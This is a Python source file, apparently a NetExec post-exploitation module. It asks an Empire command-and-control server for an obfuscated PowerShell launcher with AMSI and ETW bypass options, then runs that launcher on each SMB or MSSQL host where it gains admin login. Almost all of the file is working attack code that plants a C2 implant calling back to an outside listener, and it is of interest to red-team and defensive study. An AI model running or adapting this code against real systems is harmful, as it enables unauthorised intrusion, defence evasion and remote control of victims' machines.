139 lines
5.5 KiB
Python
139 lines
5.5 KiB
Python
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
|
|
import sys
|
|
import requests
|
|
from requests import ConnectionError
|
|
|
|
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
|
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
|
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
|
|
|
|
|
class NXCModule:
|
|
"""
|
|
Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
|
|
Module by @byt3bl33d3r
|
|
"""
|
|
|
|
name = "empire_exec"
|
|
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
|
|
supported_protocols = ["smb", "mssql"]
|
|
opsec_safe = True
|
|
multiple_hosts = True
|
|
|
|
def options(self, context, module_options):
|
|
"""
|
|
LISTENER Listener name to generate the launcher for
|
|
SSL True if the listener is using SSL/TLS
|
|
OBFUSCATE True if you want to use the built-in Obfuscation (that calls Invoke-Obfuscate)
|
|
OBFUSCATE_CMD Override Invoke-Obfuscation command (Default is "Token,All,1" and is picked up by Defender)
|
|
"""
|
|
self.empire_launcher = None
|
|
|
|
if "LISTENER" not in module_options:
|
|
context.log.fail("LISTENER option is required!")
|
|
sys.exit(1)
|
|
|
|
api_proto = "https" if "SSL" in module_options else "http"
|
|
|
|
obfuscate = True if "OBFUSCATE" in module_options else False
|
|
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
|
|
default_obfuscation = "Token,All,1"
|
|
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
|
|
context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
|
|
|
|
# Pull the host and port from the config file
|
|
base_url = f"{api_proto}://{context.conf.get('Empire', 'api_host')}:{context.conf.get('Empire', 'api_port')}"
|
|
context.log.debug(f"Empire URL: {base_url}")
|
|
|
|
# Pull the username and password from the config file
|
|
empire_creds = {
|
|
"username": context.conf.get("Empire", "username"),
|
|
"password": context.conf.get("Empire", "password"),
|
|
}
|
|
context.log.debug(f"Empire Creds: {empire_creds}")
|
|
|
|
try:
|
|
login_response = requests.post(
|
|
f"{base_url}/token",
|
|
data=empire_creds,
|
|
verify=False,
|
|
)
|
|
except ConnectionError as e:
|
|
context.log.fail(f"Unable to login to Empire's RESTful API: {e}")
|
|
sys.exit(1)
|
|
context.log.debug(f"Response Code: {login_response.status_code}")
|
|
context.log.debug(f"Response Content: {login_response.text}")
|
|
|
|
if login_response.status_code == 200:
|
|
access_token = login_response.json()["access_token"]
|
|
headers = {"Authorization": f"Bearer {access_token}"}
|
|
else:
|
|
context.log.fail("Error authenticating to Empire's RESTful API")
|
|
sys.exit(1)
|
|
|
|
data = {
|
|
"name": "nxc_ephemeral",
|
|
"template": "multi_launcher",
|
|
"options": {
|
|
"Listener": module_options["LISTENER"],
|
|
"Language": "powershell",
|
|
"StagerRetries": "0",
|
|
"OutFile": "",
|
|
"Base64": "True",
|
|
"Obfuscate": obfuscate,
|
|
"ObfuscateCommand": obfuscate_cmd,
|
|
"SafeChecks": "True",
|
|
"UserAgent": "default",
|
|
"Proxy": "default",
|
|
"ProxyCreds": "default",
|
|
"Bypasses": "mattifestation etw",
|
|
},
|
|
}
|
|
try:
|
|
stager_response = requests.post(
|
|
f"{base_url}/api/v2/stagers?save=False",
|
|
json=data,
|
|
headers=headers,
|
|
verify=False,
|
|
)
|
|
except ConnectionError:
|
|
context.log.fail(f"Unable to request stager from Empire's RESTful API")
|
|
sys.exit(1)
|
|
|
|
if stager_response.status_code not in [200, 201]:
|
|
if "not found" in stager_response.json()["detail"]:
|
|
context.log.fail(f"Listener {module_options['LISTENER']} not found")
|
|
else:
|
|
context.log.fail(f"Stager response received a non-200 when creating stager: {stager_response.status_code} {stager_response.text}")
|
|
sys.exit(1)
|
|
|
|
context.log.debug(f"Response Code: {stager_response.status_code}")
|
|
# context.log.debug(f"Response Content: {stager_response.text}")
|
|
|
|
stager_create_data = stager_response.json()
|
|
context.log.debug(f"Stager data: {stager_create_data}")
|
|
download_uri = stager_create_data["downloads"][0]["link"]
|
|
|
|
download_response = requests.get(
|
|
f"{base_url}{download_uri}",
|
|
headers=headers,
|
|
verify=False,
|
|
)
|
|
context.log.debug(f"Response Code: {download_response.status_code}")
|
|
# context.log.debug(f"Response Content: {download_response.text}")
|
|
|
|
self.empire_launcher = download_response.text
|
|
|
|
if download_response.status_code == 200:
|
|
context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'")
|
|
else:
|
|
context.log.fail(f"Something went wrong when retrieving stager Powershell command")
|
|
|
|
def on_admin_login(self, context, connection):
|
|
if self.empire_launcher:
|
|
connection.execute(self.empire_launcher)
|
|
context.log.success("Executed Empire Launcher")
|